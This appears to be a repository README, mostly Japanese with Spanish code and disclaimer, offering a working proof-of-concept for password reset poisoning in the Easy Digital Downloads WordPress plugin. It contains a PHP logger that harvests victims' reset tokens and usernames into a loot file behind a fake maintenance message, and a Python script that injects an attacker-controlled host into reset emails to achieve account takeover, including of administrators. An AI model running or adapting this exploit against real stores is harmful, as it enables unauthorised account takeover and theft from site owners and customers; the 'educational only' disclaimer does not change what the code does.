
「信頼は、最も悪用されやすいセキュリティ上の欠陥である。」
このリポジトリには、WordPress 用プラグイン Easy Digital Downloads(EDD)(バージョン <= 3.6.2)における深刻な脆弱性 Password Reset Poisoning(パスワードリセットポイズニング)に関する機能する概念実証(PoC)が含まれています。
パスワードリセット要求プロセス中の edd_redirect パラメータの検証欠如により、認証されていないリモート攻撃者が悪意のあるドメインを注入できます。これにより、ストアから送信される正規のメールに攻撃者のサーバーを指すリセットリンクが含まれることになり、アクセストークン(key)が漏えいし、管理者アカウントを含む完全な Account Takeover(ATO、アカウント乗っ取り) が可能になります。
この欠陥は、メール内のリセット URL を構築する関数に存在します。脆弱なコードは入力の「サニタイズ」に esc_url_raw() を使用していますが、宛先ホストを検証していません。
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
$_POST['edd_redirect'] を制御することで、生成される URL のベースを制御できます。
requests ライブラリ(pip install requests)被害者のトークンを傍受するために、以下の PHP スクリプト(logger.php)を悪意のあるサーバーにアップロードします。
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
exploit.py スクリプトを対象に合わせて編集し、実行します。
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| 機密性 | 完全性 | 可用性 |
|---|---|---|
| 高 🟥 | 高 🟥 | 低 🟩 |
攻撃が成功すると、攻撃者は以下を行うことができます:
Este software se proporciona ÚNICAMENTE con fines educativos y de investigación de seguridad.
El autor (ZeroEthical) no se hace responsable del uso indebido de esta información.
Atacar objetivos sin consentimiento previo por escrito es ilegal y puede resultar en acciones legales severas.
Úsalo bajo tu propio riesgo en entornos controlados.
Powered by ZeroEthical
「私たちは脆弱性を修正しない。実証するのだ。」